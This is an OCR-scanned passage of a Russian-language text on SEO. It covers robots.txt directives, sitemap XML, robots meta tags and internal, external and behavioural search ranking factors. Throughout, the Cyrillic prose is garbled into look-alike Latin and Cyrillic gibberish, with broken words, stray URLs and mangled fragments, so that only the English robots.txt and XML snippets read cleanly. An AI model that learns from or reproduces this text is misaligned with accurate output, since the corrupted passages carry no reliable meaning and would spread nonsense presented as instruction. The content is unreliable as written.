pecypca [1]. Drot daiin akryanen mas nporokojoB FTP, HTTP, HTTPS. Hasnaueuue u
BHYTPCHHSSI CTpPyKTypa (aitma 3ajekimapupoBaHa B JOKYMEHTE 110 Ha3BaHUEM
«CTtangapt UCKIIOUEHUM 7151 poboTOB, NpuHATHIM KoHcopimymoM W3C B 1994 rona u
HCITOJTB3YFOIITMMCS OOJIBIITUHCTBOM M3BECTHBIX TTIOMCKOBBIX MAIlTUH.

Ceccust pabOThl MOUCKOBOTO poOOTa C CaWTOM HAayMHAETCS C 3arpy3ku (paitna
robots.txt. Ecim ¢aiin HTTP-cratyc 3arpy3ku sToro ¢aiina OyaeT HMMETh CTaTyc,
ommmubbli 0T 200 OK, pobot OyaeT cuuTaTh, 4TO JOCTYH K JOKYMEHTaM HUYEM HE
orpanuveH. MHade OH MpOYHMTAET CTPOKH KOHQPUTYpaIMOHHOTO (hailyia ¥ TpU HH-
JEKCUPOBAaHUU OyNIeT ClIeI0OBaTh yKa3aHHBIM B HHUX WHCTpyKiusM. HeoOGxomumo mo-



HUMAaTh, YTO MHCTPYKLUU ODOLS.tXt HOCAT peKOMEHIATeNbHBIN XapaKTep, MOMCKOBEIE
MaIlIMHbI MOTYT UX UTHOpUpPOBaTh. HaexkHblil cr1oco0 3alluTUTh CTPAHULIBI U Pa3ZeIibl
caliTa OT MWHACKCUPOBAHMSA IIOMCKOBBIMU CHCTEMaMH - IIOMECTUTh HUX B 3a-
mu(poBaHHBIE Pa3Aeibl calTa.

BHyTpeHHsst cTpykTypa robots.txt mpemenbHO TpocTa: OH JOIDKEH COJACpIKATh
OJHY WM HECKONbKO 3amuceid (records), pa3meieHHBIX OJHOW WM HECKOJbKUMU

NyCTBIMHU cTpokaMu. Kaxaas 3anmuck JOJDKHA COJIepkKaTh CTPOKU B (hopMe:
<field>:<optional space><value><optional space>

3anuch JOJDKHA HAuMHAETCS C OJTHOM WJIM HECKOJIbKHX cTpok User-Agent, 3a

KOTOPOH CJIEIYIOT OJHA MM HECKOJbKO CTpOK ¢ nupektuBamu Allow mau Disallow
HupextuBa User-Agent ykaspiBaeT, K KakoMy poOOTy oOpaleHbl MOCISTYIOIINe

aupekTuBbl. [Ipu ToM momyckaercst copMyIUpOBaTh pa3HbIe MpaBuia IS Pa3IMIHBIX

pob6otoB. Hmxke mnpuBeneH mNpuMep HCIONb30BaHUS aupekTuB User- Agent ms

Pa3JINIHBIX ITOMCKOBBIX pO6OTOB§

# IupexTrBE OJs Bcex poboror User-agent: *
#00paTnTe BHMMAHME Ha IYCTYI CTPOKY IIOCJe Kaxmoro Ojoka User-Agent

# IupexkTuBH OJa BCex pobBoTor fAHOekca User—agent: Yandex

# IMpeKTUBE TOJIBKO OCHOBHOMY MHIOeKCHUpYyBIEeMy pobotTy AHmekca
User—-agent: YandexBot

# He 3abmBaeM Opo poboTor Google User-agent: Googlebot

Huxe IMPUBCACH CIIMCOK HCKOTOPLIX IIOIIYJIAPHBIX p060TOB, Ha KOTOPBLIC MOKCT

OpHEHTHPOBaH (aiii robots.txt aust KoHPHUTYypHUpOBaHHS MTPOIIECcca WHACKCUPOBAHUS:
- YandexBot — ocHOBHOI1 TOMCKOBEII poOOT Yandex

- YandexBlogs — po6oT mouck no 6yoram, WHASKCHPYIOLIHHA TOCTHI H KOM-
MEHTapUH;

- YandexMarket— po6ot Snnekc.Mapkera;

- YandexNews — po6ot SAnnekc.HoBocTeii;

- YandexDirect — ckaunBaeT nH(MOPMAIMIO O KOHTCHTE CAaTOB-TIAPTHEPOB
PektaMHO# ceTH, YT00BI yTOUYHHUTH UX TEMATUKY TS TI0A00pa PEJICBAHTHON PEKIIaMBbl;

- YandexImages — unnekcarop Sunekc.KapTuHok;

- YandexCalendar — po6ot Annexc.Kanennaps.

- YandexMetrika — po6ot SAnnexc.Metpuku;

- YandexMedia — po0OoT, HHICKCUPYIOIINN MYJIbTUMEIUIHBIC TaHHBIC,

- Googlebot-News — pobot Google ms morcka HOBOCTENH;

- Mediapartners-Google — po6ot Google ms cepsuca AdSense;

- Googlebot-Image — po6ot Google my1st KapTHHOK;

- Googlebot-Video — pobot Google mis Buaeo;

- Googlebot-Mobile — po6ot Google 11t MOOHIIBHBIX BepCHil peCypCoB;

HupextuBa User-Agent Toiapbko KOHKPETHU3UPYET THUII PO0O0Ta, ISl KOTOPOTO
3aJaHbl CICAYIOIINE JUPEKTHBBI B OJIoke. Be3 MOMONHUTENbHBIX TUPEKTHB €ro Hc-
MoJIb30BaHue OeccMbICICHHO. OCHOBHBIMH MOJOOHBIMU JAMPEKTUBAMH SIBIISIOTCS, Kak
yke ObLI0 yrnomsinyto Beime, Allow u Disallow.

Disallow —aupextuBa, 3anperniaromnas WHACKCAIIUIO caliTa WK ero 4actu. Yro
MMECHHO 3allpeliacTcs CKaHUPOBATh/MHACKCHPOBATh, YTOYHSETCS B MapaMeTpax



JTUPEKTUBBI.
BoT kak, Hampumep, MOKHO 3alpeTuTh B rODOtS.txt mHAekcanuio caiita KOH-

KPETHBIM pOOOTOM:
User-agent: Yandex-News Disallow: /

MoxHO 3aKpBITH OT p060Ta (-OB) HE BEChb CaWlT, a JIMIIb KOHKPCTHBIC Pa3JcCIIbl.
3aKpI>IBa€M OT BCEX pO6OTOB pasaci docs caiira:
User-agent: *

Disallow: /docs

s mapamerpa aupekTuBbl Disallow mgomycTuMo HCIONB30BaTh CHMBOJIBI-
mabyioHu3aTopsl * u ?. Hampumep,
User-agent: *

Disallow: /page*

3alPeTUT CKaHMpOBaHUE BCeX , HauMHaromuxcs ¢ page (/page_old, /page-about,

/page/news). 3uak $ ykaspiBaeT Ha HEOOXOAMMOCTH TOYHOT'O COOTBETCTBUSI:
User-agent: *

Disallow: /page$ CKPOET TOJBKO mamky /page, HO OoTKpoeT moctym k /pagel,
/page/news u np.

Ecnu mapamerp mumpektuBbl Disallow Oyner omymen, To 3To o3Hadaer
OTCYTCTBHE 3alpeIieHusl.

HupextuBa Allow wurpaer ponp anprepnatuBel Disallow — ona paspemaer
CKAaHMPOBAHHWE TEX WU WHBIX Pa3lIeiOB CaiiTa M MMEET CHHTAKCHC, aHAJIOTUYHBIH
Disallow. CoBMmecTHOE HCIIONB30BAaHHE ABYX PACCMOTPCHHBIX JIUPEKTHB IO3BOJIICT

KOMOMHHUPOBATh MpaBa poOOTOB HA AOCTYI K TEM WJIM UHBIM pa3/eiam:
User-agent: Googlebot

Disallow: /

Allow: /docs

B npuBeneHHOM npuMepe Mbl 3anpeliaeM CKaHUPOBAHUE CalTa 3a UCKIFOYEHUEM
paszena /docs.

[ToMuMO yke pacCMOTPEHHBIX, B (haiiie robots.tXt MOXKHO MCIOIb30BaTh CIIE PSIT
nupextuB. OnHa U3 HUX - qupektuBa Host. OHa cirykuT aisa ykazanusi poooty SAuaekca
(u TmoanepKUBAETCS HA CETOMHSIIHUNM JIEHb TOJBKO JTOM IOMCKOBOW CHCTEMOM)
IJIaBHOTO 3epkasia Bamero caifta.. JlupektuBa HOSt mosiesHa B ToM citydyae, €Ciu Balll
CalT JOCTYNEH MO HECKOJBKUM ajJpecamM M BaM HEOO0XOJIUMO YCTAaHOBUTH MPUOPUTET
JUISl OJTHOTO U3 HUX, YTOOBI HIMEHHO OH BBIJIABAJICSI KaK pe3yJbTaT MOUCKOBOW BBIJAYH.
Hanpumep, ans aByx JoMeHOB Mysite.ru u WWww.mysite.ru HeoOXoauMo yKa3aTh

BTOpOH Kak OCHOBHO#. Toraa B daitie robots.txt ykaspiBaem:
User-agent: Yandex

Disallow: /page

Host: www.mysite.ru

Eme oxana wHTepecHas W moJjie3Has aupektuBa - Sitemap. C ee momolnpio B
robots.txt MoxHO yka3aTh pacrojioKeHWe Ha caiite (haiiima kapTel caiita Sitemap.xml.
VYkazanue ajapeca KapThl caiiTa depe3 IuUpekTHBY Sitemap B robots.txt mossomsier
MOMCKOBOMY pOOOTY y3HATh O HAJIMYMM KapThl caiiTa W HayaTh €€ WHJICKCAIHIO.


http://www.mysite.ru/
http://www.mysite.ru/

Sitemaps — sto XML-¢aiin ¢ nuadopMarueid st TOUCKOBBIX CHCTEM O TE€X CTPAHHIIAX
BeO-caiiTa, KOTOpBIE TOJUICKAT MHACKCAMHA. SIteMapS He TOJbKO YKa3bIBaIOT
MOMCKOBHKA TE€ TAamK{, KOTOpbIe TMOAJEKAT WHACKCUPOBAHUIO, HO U XPaHUT
UH(POPMALIMIO O BPEMEHHM HUX TOCIEAHET0 OOHOBJICHHUSA, IUIAHHUPYEMOW YacTOTe
OOHOBJICHHMS M TPUOPUTETE OTHOCUTEIBHO JPYrMX CTpaHull caiita. Bcs ata
uHbOpMalMs TOJIE3HA TMOUCKOBOMY pOOOTY Ui MOBbIMIEHUS 3((HEKTUBHOCTH 00-
paboTku crpanuil B pa3aenax Web-pecypca. BoT kak MOXKHO 3a/1aTh MECTOIOJIOKCHUS

KapThl cauTa:
User-agent: *

Disallow: /page

Sitemap: http://www.some.com/sitemap.xml

BHyTpenHss crpykrypa Sitemaps nokymeHntupoBaHa (cMm [2]), ymHpoIeHHBI#H

BapuaHT I10J00HOTO (baﬁna BBITJIAIUT CIICOYIOITHUM 06p330M2
<?xml version="1.0" encoding="UTF-8"7?>

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">

<url>

<loc>http://www.some.com/</loc>

<lastmod>2015-01-01</lastmod> <changefreg>monthly</changefreq>

<priority>0.8</priority>
</url>

</urlset>

daiin robots.txt - He eaMHCTBEHHAs BO3MOXKHOCTH YIIPABJICHHS IIPOIECCOM
MHJICKCAIMIO CTpaHuLbl. [[ns 3THUX Ke Lelned MOXHO BOCIOJIBb30BAThCS CHELUHUAIN-
supoBaHHbIMU html-teramu. B 3aromoBke html-mokymeHTa MOXHO MOMECTUTH TErH
meta co cienyronmmMu aTpudyTaMu:

<meta name= "robots" content= "noindex"/> — H€ HHIAECKCHPOBATH CO-
AepKUMOe CTPAHUIBI;

<meta name= "robots" content= '"nofollow"/> -— H€ IE€PEXOIHUTH IIO
CChbIJIKAM Ha CTPaHHUIIE,

<meta name= "robots" content= "none"/> — 3alPpCHICHO WHACKCHUPOBATH
COJIEPIKUMOE Y MIEPEXOIUTH IO CCHUJIKAM Ha CTPAHUIIE;

<meta name= "robots" content= "noindex, nofollow"/> — aHAJOIHYHO
content= "none".

<meta name="Revisit-After" content="”1 Days"> - [IpUIJlalla€M IIOUCKOBOI'O
poboTa 3axoAUTh Ha calT ¢ vactoTod 1 pa3 B J€Hb, MOCKOJbKY HMMEHHO C 3TOH
NEePUOANYHOCTHIO HA HEM OOHOBIISIETCS KOHTEHT.

OmnucaHHbIE UHCTPYMEHTHI MO3BOJISIOT KOH(PUTypUPOBATh MPOIECC MHAECKCAIUU
MOMCKOBBIMU pobOTamMu cogepxumoro caita. Opnako, rmaBHOM 1enpto SEO-
ONTUMU3ALMHN SIBISAETCS NPOJABM)KEHUE CTPAHMI] CaWTa HA JTAIE PaHKUPOBAHUS IIO
3arpocy, KOrja IMOMCKOBas CUCTeMa (OPMHUPYET CHHMCOK BBIJAYM Ha CHOPMYIUPO-


http://www.some.com/sitemap.xml
http://www.sitemaps.org/schemas/sitemap/0.9
http://www.some.com/%3c/loc

BaHHBIM TOJb30BaTesieM 3amnpoc. [lo pesyibpraram uccinenaoBanuii [3] mo 80% momb-
30BaTese MOMCKOBBIX CUCTEM BCEr/Ia WM YacTO MEPEXOJAT MO CChLIKAM, BbIJJaBAEMbIM
MOMCKOBOM CHCTEMOW KaK HanOoJyiee MOAXOSINNE MONCKOBOMY 3ampocy. AJTOPUTMBI
pPAaHXKUPOBAHMS  COBPEMEHHBIX  TOWCKOBBIX  CHCTEM  SIBJIISIIOTCS  CIIOKHBIMHU
MHOTOKPUTEPUATHLHBIMH, TUHAMHYECCKH U3MCHSIIONTUMUCS MOJCIISIMH, YIUTHIBAIOIIAMHA
COTHU CTaTUCTUYECKUX TOKazaTened paboTel pecypca. Pa3paboTuMKy MOMCKOBBIX
CUCTEM JIOJIKHBI OTCJIEKMBATh YacTOTy OOHOBJIEHHS WH(OpPMAIMU Ha pecypce, ero
HOMYJISIPHOCTh Y TIOCETUTEINIEH, aBTOPUTETHOCTh CalTa y JIPYTUX PECypcoB, MOMBITKU
BJIQ/ICNIBLIEB PECYPCOB OOMAHHBIM IyTEM MCKYCCTBEHHO MOBBICHUTH PAHT CBOETO CaiiTa.
[Tpu 3TOM 0a30BbIC MPUHIUIIBI PAHKUPOBAHUS WED-pecypcoB mpu MOMCKOBOM BbIaye
U3BECTHBI, OHM ONUPAIOTCA Ha pAx (AKTOPOB paHXKuUpoBaHUs. B cBs3M ¢ 3TuUM
HEOOXOJIMMO 3HATh ATH (PAKTOPbl M YUHMTHIBATh MX KaK B Ipoliecce pa3paborku Web-
caiiTa, Tak W MpU ero mpoaBmxkeHUU. OOIIee KOIMIecTBO (HaKTOPOB BeChMa BEITUKO
(6omnee 700 y SlHmekc), mOITOMY PacCMOTPETh MX BCE HE MPEACTABISICTCS BO3MOXKHBIM,
3a0CTPUM BHHMaHHE Ha HEKOTOPhIX U3 HUX. PaKTOpbl paHXKUPOBAHUS JICIATCA Ha
TPYIIIIB:

1. BHyTpeHHHE (aKTOpBHI.

B a1y rpynny BXoasT ¢hakTopbl, KOTOPBIE ONPEIEIAIOT Pa3paboTUNKU/BIAACIbIIbI
pecypca IyTeM €ro BHYTPEHHET0 CTPYKTYPUPOBaHUs U HanoJHeHUss. OCHOBHBIMU 3]1€Ch
MOKHO Ha3BaTh:

- KaueCcTBO KOHTEHTa CalTa, OMpEeEsieMOro Mo €ro akTyalbHOCTH, OPUTH-
HaJLHOCTH, PEJICBAHTHOCTU, «TOUTHOCTHOCTWY». HEKOTOpBIE U3 3TUX XapaKTEPUCTUK HE
TpeOyIOT 0COOBIX MOSICHEHUH - eclii MHpOpMaIMs Ha pecypce akTyaiabHa, PEryJsipHO
OOHOBJISIETCS, HE SBJIACTCS KOIMKEW KOHTEHTA C APYTHX CAalTOB, TO TaKOW pecypc Oyner
UMETh OOJIBIIMK BEC IO aJropuTMaM pPaH)XHPOBAaHWS, IPHUBJIEKATh BHUMAHWE Kak
MOCETUTEJICH, TaK U BJIAJICNIBIIEB JPYTUX PECYPCOB U, B KOHEYHOM HUTOTE, 3TOT Pecypc
OyleT pacTu B MO3UIMSIX MOUCKOBOM BbIIauu. J[pyrue xapakTepUCTHUKU BCTYIAIOT BO
B3aMMHBIN KOH(DIUKT. Tak, HampuMep, MoKa3aTeab PEIECBAHTHOCTH YUYUTHIBACT MPOILICHT
BXOXJICHUSI CJIOB MOMCKOBOTO 3alpoca B KOHTEHTE caiiTa: yeM OH BbIlE, TeM OoJiee
peJeBaHTHBI CTpPaHMIIBl caiita 3ampocy. OpHAKo, TOWCKOBHUKU BBOJST TEPMHUH
«TOUTHOTHOCTW» CTPAHUIl CaiTa, KOTOpas OMpPEEseTcsl KaK MeperpyKEHHOCTh TEKCTa
IIeJIeBBIMHM  KJTFOUEBBIMH cIoBaMHu. 3adactyro SEO- onmtumuzaTopbl mepeHachIaT
CTPaHMIIBI CaiiTa, KOTOPHIE XOTAT MOJIHATH B MIOUCKOBOW BbIaue, KIIOYEBBIMHU CIOBAMU
TEMaTHUKe, KOTOPOH MOCBAIIEH pecypc. B aTom ciyyae yuTaTh YENIOBEKY MOJIOOHBIN
TEKCT CTAHOBUTCS HEWHTEPECHO, OT OOWJIMS IIEJICBBIX KIFOYEBBIX CJIOB YHTATEIS
HAUYMHAET «TOIIHUTHY. [IOoKa3aTenp KIaCCHYECKOW TOLIHOTHI - 3TO KBAJIPATHBIN KOPEHD
M3 4Kciia, 0003HAYAIOIIETO YacTOTy YHOTpeOJieHus cjoBa B TeKCTe. Eciu B
HCIIOJIb3YeTe CIOBO Ha CTpaHuIle 25 pa3, TO €ro Kjiaccuyeckas TOUTHOTa OyAeT paBHa 5
BHE 3aBUCHUMOCTH OT 00beMa TekcTa. [Ipu 3ToM nokaszaTenb KJIacCUYeCKON TOITHOTHI HE
MOXeET ObITh MeHbIe 2,64 eciii CJIOBO MCIOJIb30BAHO B TEKCTE MeHee / pa3, KOPEHb
KBaJIpaTHBIN B 3TOM ClTy4yae U3BJIEKaeTCs U3 yucia /.

O4eBUIHO, YTO PEICBAHTHOCTh U TOIIHOTA - TTOKa3aTEIU-aHTHUIIObI, BHIUTPHIBAS
B OJJHOM MBI TIPOUTPHIBAEM B JIPYIOM U JOCTIKEHHE MX pa3syMHOro OanaHca Oyner
cBUMETENhCTBOBATh O KkBamudukanun SEO-cmenmanucra. Ha cerogHss mnpuHSTO
CUHTATh, UTO TTOKA3aTEh YACTOTHl BCTPEYAEMOCTH KJIFOYEBOTO CJIOBa B TeKCTE B 3.5-5%
SIBJISICTCS] ONITUMAJTbHBIM.

Jlst Toro 4TOOBI BBINIE O PAHTY OKAa3bIBAIUCHh PECYPChl C MOHATHBIM U TPH-
SATHBIM JIJI1 TIPOYTEHHSI TECTOM TIOWCKOBBIE CHCTEMBI TMOCTOSIHHO YCJIOXKHSIIOT CBOU



ATOPUTMBI PAHKUPOBAHHS, OTIAaBasl MPEINOYTCHUS TEM CTPAHHUIAM, TJE HCIOJb-
3YIOTCSI CHHOHHMBI KIIFOYEBBIX CIJIOB, CEMAHTUYECCKH CBSI3aHHBIE KOHCTPYKIMH. Tak,
Hanpumep, Google ceromns wcmonp3yeT Mpu paHXUPOBAHWUU Takou (pakTop Kak Ja-
TEHTHO-CEMaHTHUYECKUI HHJICKC KIIFOUEBBIX clioB B KoHTeHTE (LSI), KoTOpBIi Mo3BOIISIET
MOUCKOBUKAM OOPOTHCS C CUTYAIMSIMU NIEPErpyKEHHOCTH KOHTEHTA OJTHUMH U TEMH Ke
KITIOYEBBIMH CJIOBAMH, KOTOPBIE TOBOPST JINOO O HEYMEJIOM HACBHIIICHUU KITFOUEBUKAMHU
npu (GopMHpPOBAHUHM KOHTEHTA, JIMOO O TUIOXOM KadeCTBE TEKCTa, YTO TOXKE JOJDKHO
OTTaJKUBATh TIOCETUTEIICH;

[ToBpimaeT paHr caiiTa (CTpaHHIBI) TakXe dYacToe OOHOBJICHHE KOHTEHTA,
HAIMYUE MYJbTUMEAUHHBIX MaTepUaioB, HaIUYUe JOTIOJHUTEIBHBIX ITOJE3HBIX
BUKETOB M CEPBHUCOB.

- COOTBETCTBHE 3arojioBka caiira (ter title), ero onmucanus (metarer descrip-
tion), kiroueBBIX cl10B (MeTaTer Keywords) OCHOBHOMY COJEPKUMOMY CTPAHHUIIBI;

- HACBHIIICHUE IICJICBBIMU KIFOYCBBIMU CJIOBAMU 3HAYMMBIX 3JIEMEHTOB
CTpaHHIIBI. PelleBaHTHOCTh CTpaHUIIBI 3ampocy OyAeT BBIIIE, €CIM KJIFOYEBHIC CIIOBA
3ampoca OyJeT BCTpeuaThCsl B TaKUX 0OJACTAX CTPAHUIIBI, Kak 3aroioBok (rer title),
ormucanue (Metarer description), xkirodeBbie ciioBa (Metarer Keywords), 3arosioBka B
Tekcte ctpanulbl (teru h1l-h6), Tekct ¢ momyxupHbIM HadepTaHnueM, atpuOyThl alt B
M300paKEHUSIX;

- IrpaMOTHas BHYTPEHHSAS CTPYKTypa caiiTa: ecid Ha caite 3(pQPeKTUBHO
OpraHU30BaHa CHCTEMa HABHUTAIIMU 110 CTPAHMIIAM, TO JTO TAKXKE TOBBICUT €TO PAaHT.
Ecmu mpencraBuTh CTPYKTypy caiiTa B BHAC JEpeBa, TO €ro IMOCICAHUN YPOBEHb
(JIUCTBST), KOTOpbIEe OOBIYHO TMPEACTABISIOT COOOM CTaThbH, HE JOJDKHBI HAXOIUTHCS
CITUIIKOM TIyO0oKo (3-4 KIIMKa OT TJIaBHOW CTPaHUIBI). 31€Ch TaKXKe YYHTHIBAIOTCS
AHKOPHBIN TEKCT - COAEPKUMOE T€Ta @ CO CChUIKOW Ha IPYTyI0 CTPAHUILY CAlTa JOJKHO
coZiepKaTh KJIIOUEBbIE CIIOBA apecyeMou cTpaHUIbl. [Jis MOAHATHS paHTa OTACIBHBIX
CTpaHMII M CaiiTa B LIEJIOM MOXET MOHAIOOMTHCS BHYTPEHHSS Nepe- JIMHKOBKA (CM.
nanee);

- BuJ ucnonb3dyembix URL. Eciau cTpaHuiibl UMEIOT MOCTOSTHHBIE YHUKAIIb-

HBIC a/ipeca, To Jiyulie ucnoiab3oarbk YITY (Yenoseko-Ilonstaerii-URL):
shop.ru?cat=50&firm=30&good=1345

Xy’K€E UeM

shop.ru/notebook/asus

ba3oBbIil MPHUHITUIT - B CTPOKE aapeca KelaaTeabHO UMETh 2-3 KIIIOUEBBIX CIIOBA
(BO3MOKHO - B TPAHCIIUTE).

- BO3pAcCT M KadecTBO jJoMeHa. JlaHHas rpymma (akTOpOB YUUTHIBAET, KaK
JIABHO CYLIECTBYET JIOMEH, KaK 4YacTO Yy HEro MEHSJICS BIIAJIEIIEL], CBOEBPEMEHHO JIH
NpoyIsiica JToMeH. Hamuunre TOYHOTO COBHAJACHHUS JOMEHHOTO MMEHHU C KIFOYEBBIM
CJIOBOM TaK>K€ YUYUTHIBACTCS U MOBBIIIACT PAHT.

- CKOPOCTh 3arpy3Kd M HaJu4ue OIIMOOK Ha caliTe MOXKET KOCBEHHO IIO-
HHU3UTH PAHT BAIlIETO PECypca;

- KOJIMYECTBO M KaUE€CTBO BHEIIHUX CCHIJIOK Ha cauTe. PaHee cuuTanock, 4To
BHEIIHUE CCHUIKM CHUKAIOT PAaHI CalTa, MOCKOJBKY OTJAI0T YaCcTh €r0 BECa CTOPOHHUM
pecypcam. OmHaKO CEeromHs pa3pabOTUYMKHU MOMUCKOBBIX CHCTEM IMOOIIPSIOT HATHYNC
CCBUIOK Ha aBTOPHUTETHBIC U TEMATHYECKH CBS3aHHBIC PECYPCHI, CUUTAs, YTO TIOI00HAS
CBSI3b MEXIy pPeCypCcaMH CBHJIETEILCTBYET O CEMAHTHYECKUN OIM30CTH PECypcoB U
OCMBICTIEHHOCTH (JOPMUPOBAHUS KOHTEHTA,;



2. Buemnue gakTopsl.

JHannast rpynmna (akTopoB 3aBHCUT OT OTHOIIEHHUS CTOPOHHUX PECYpCOB K Ba-
ieMy U MOTOMY MEHEE JOCTYIHAa K HEMOCPEACTBEHHON Moaudukanuu. Paxtopamu
ATOM TPYNIIBI SIBJISIOTCS:

- KOJIMYECTBO M KA4y€CTBO BHEIIHMX CCHUIOK Ha caiT. Hannune cchliok Ha
CTPAaHMIIBI TPOJBUTAEMOI0 pecypca C JAPYrux (KenaTelbHO OJNU3KUX IO TEMAaTHKE
CalTOB) SIBJISETCS BAXKHBIM (DaKTOPOM PAHKUPOBAHUS JUIsl COBPEMEHHBIX MOUCKOBBIX
cucteM. [Ipu 3TOM aropuT™M paHXKUPOBAHUS YUYUTHIBAET HE TOJBKO KOJIMYECTBO, HO U
KauyecTBO BHEIIHMX CChUIOK. Jljigs 3Toro pa3pa®oTaHbl CHEIUAIbHBIE aJITOPUTMBbI
pamwxkupoBanus (PageRank y Google niau TUL] y Srmiiex). CortacHO 3THM aIroOpuTMaM,
MOCPEACTBOM CCBUIKM CaWT-IIOHOpP IMEpPENacT CaiTy - aKUENTOpy 4acTh CBOEro Beca,
aBTOpUTeTa W y TouckoBor cucrtembl. Yem Oombine TULL maum PR y calita-moHopa
CCBUIKHM, TeM OOJbIlE€ BEC 3TOM CCBUIKM, M TEM OOJbIIE JIaHHAS CChLIKA MPUHECET
MOJIb3bI CAUTY-aKLIENTOoPY.

Ha panxupoBanue BIMSET HE TOJIBKO YJIEIbHBIM BEC BHEMIHUX CChUIOK Mo THUILL
wm PageRank, HO W peneBaHTHOCTh MX AHKOPHBIX TEKCTOB, YTOOBI TeMaTHKa caiTa
COBNaJala MO KIOYEBBIM CJOBaM C TEKCTOM CChUIKM. IIpoaBuras caiit 3a cuer
HapallMBaHUs BHEUIHEH CCBUIOYHOM MacChl, MOXHO CIEIO0BaTh Pa3IUYHBIM
CTpaTerusiM: JUOO CTPEMHUTHCS K YBEIMYECHHIO JIFOOBIX CCBUIOK, JIMOO MOJYYUTh HE-
CKOJIbKO BBICOKOABTOPUTETHBIX CCBHUIOK Ha calT. Tak, pa3MeCTHB Ha CaWTe-IOHOPE C
TUIL] 1000 ctathbu mo TeMaTHKE MPOJBUTA€MOr0 CaifTa U yKa3aB TaM Iapy CChUIOK Ha
MIPOJIBUTAEMbIN CalT, MOXKHO MOJMY4YUTh OosblIni A((EKT B yBEIMUECHUN paHTa caiita,
YeM IpU Pa3MENIEHUH CTa CChUIOK HAa HU3KOABTOPUTETHBIX CChUIOK (HA cailTax-I0HOpax
¢ TULI<50).

[Ipn aHanu3e BHEMIHMX CCHUIOK YUMTBIBAIOTCS TAKXKE Takue (PakTopbl Kak:
BO3pACT JIOMEHA-J0HOPA CChUIKH, HAIMYUE CCBUIOK C CalTOB-KOHKYPEHTOB (cocenel mo
pe3ynbTaTaM NOUCKOBOW BbIJIaY€), aHKOPHBIN TEKCT BHELIHUX CCHUIOK.

- yNnOMMUHaHMe caliTa U CCbIIKU Ha HEro B COLManbHbIX ceTax. TpyAaHO Iie-
PEOLICHUTh POJIb COLUAIBHBIX CETe B COBPEMEHHOM TIJIOOATILHOM MH(DOpPMAMOHHOM
MPOCTPAHCTBE M MOMCKOBBIE CUCTEMBI OTCIEKHUBAIOT MOCThI, KOMMEHTAPUHU, OT3bIBHI B
COLIMAJIbHBIX CETSAX Ha MPEAMET HaJIW4Mus B HUX YIOMHUHAHHI CCHUIOK HAa T€ WJIH HHBIC
CTpaHMIIBl. HAJIMYUE MOAOOHBIX CCHUIOK HJIET B IUIIOC PAHTy CTPAHUIBI U HA 3TOM
CTPOSITCS LIEJIbIE CTPATETHH MPOIBUKEHUS.

- NPUCYTCTBUE CaillTa B TEMAaTHYECKHX KaTaloraXx IOUMCKOBBIX CHCTEM
(rakux kak SIndex-Karamor, DMOZ, Rambler-Top100 u ap.) moBsImIaeT ero mo3uiky B
WTOTOBOU BBIJAYE.

3. [loBenenueckue PakTopsl.

Jannas rpymnmna (pakTopoB WIUIIOCTPUPYET, KakK BEAYT ce0s MOJIb30BaTENM Ha
CTpaHMIIAX PECYPCOB U SABJISIIOTCS KOCBEHHBIMH MMOKA3aTENSIMU €r0 YIOBIETBOPEHHOCTH
oT uHdopmaluu, npeajgaracMoit Ha pecypce. [lokazarenu 3Tol rpymnmbl:

- CpellHee BpeMs, MPOBEIAEHHOE MoceTuTeneM Ha caiite. IlouckoBbie cu-
CTEMBI 3aCEKal0T BpeMs, KOTOPOE MOCETUTENH MPOBOISAT HA CalTe IMOCIE Mepexoia co
CTpaHMIIBI IOMCKOBOM BbIaun. Uem BhINIEC STOT MOKA3aTelb, TEM Oejiee peleBaHTHBIM
0KHMJIaHUSIM TOJIb30BATENSl CYUTAETCS CAT, UTO MOBBIIIAET €0 PAHT B CUCTEME;

- MOKa3aTeslb OTKA30B MOJICUYUTHIBAET, CKOJBKO pa3 MOJIb30BaTEb cpasy (He
no3xke 15 cexkyHn mocne mepexoda Ha calT) nokuaaer pecypc. OTka3 o3Ha4aeT
anpUOpPHOE HECOOTBETCTBHE KOHTEHTA pPECypca OXHMIAHHUSIM KIMEHTa W CHHYKAET
PEUTHHI CalTa IS IOMCKOBHUKA,



- MOBTOPHOE TIOCEIEHNE CalTa YYUTHIBAET TOT (DaKT, YTO MOCETUTENH BIIO-
CJIEACTBUU MOBTOPHO 3aXOJUT HA CAMT, YTO O3HAYAET JJISI MOUCKOBOM CHUCTEMBI IPO-
SBJICHUE MHTEpeca K KOHTEHTY B KOHTEKCTE IMOMCKOBOTO 3arpoca. [Ipounmu cBuje-
TEISIMA HMHTEpeca IO0Jb30BaTelld K PECypcy MOIYT CTaTh 3aHECEHUE €ro ajapeca B
3aKJIAJIKU, TAJIbHEUIIIEE UCIIOIB30BAHUE MIPSIMOM CCHUIKH Ha PECYPC B aIPECHOU CTPOKE.

- KOJIMYECTBO KOMMEHTApHEB Ha CaWTE TaK¥Ke SIBISETCS KOCBEHHBIM KpH-

TCPHUCM MHTCPCCA MIOCETUTEIICH U JaTb MMOMCKOBOM CUCTEM IMOBOJA IIOBBICUTH €CI'0 paHT.
I[J'I}I MOHHUTOPHHI'A ITOBCACHUYCCKUX CI)aKTOpOB ITONCKOBBIC CUCTCMbI MCITIOJIB3YIOT:

Cnenuanu3upoBaHHbie cepBuchl (SIHaekc.Merpuka , Google.Analytics, puc.2);
BcTtpoennsie pyHKIM Opay3epos;
bpay3epHble IUIarvHel;

®  Tosbw  Bowewn  Boxoen  Oussooae  Cocostm  Ovwerwdm  Kop  Kowes  Koeomesp

PucyHok 2 - CraTucTuka caiita B okne SIngexc.Merpuxa.

VY3HaB 0COOEHHOCTH PabOTHI MOMCKOBBIX CHUCTEM, MOKHO HauMHATh padoOTy MO
SEO-ontumuzanuu caiita. [Ipexae Bcero HEOOXOAMMO OIPEACIUTHCS C KIOYEBHIMU
CJIOBAMH B 3ampocax IMoJb30BaTeNe, IO KOTOPHIM Bbl XOTENH Obl, 4YTOOBI Balll PECYPC
OKa3bIBaJICA KaK MOXXHO BBIIIE B IOMCKOBOM BblAaue, YTOObl HACBITUTH UMHU Ba)KHbIE
AJIEMEHTHI CTPYKTYpHI caiiTa. [IoMUMO HEMOCPEACTBEHHO KIIFOUEBBIX CJIOB, HEOOXOIUMO
MOHMMATh KOHTEKCT MOMCKa MH(OPMALIUK CO CTOPOHBI KJIMEHTHI, KOTOPOMY BBl XOTEIHU
Obl, YTOOBI Ball pecypc B HAWOOJBIICH CTENEeHH COOTBETCTBOBal. Ha ceromHs
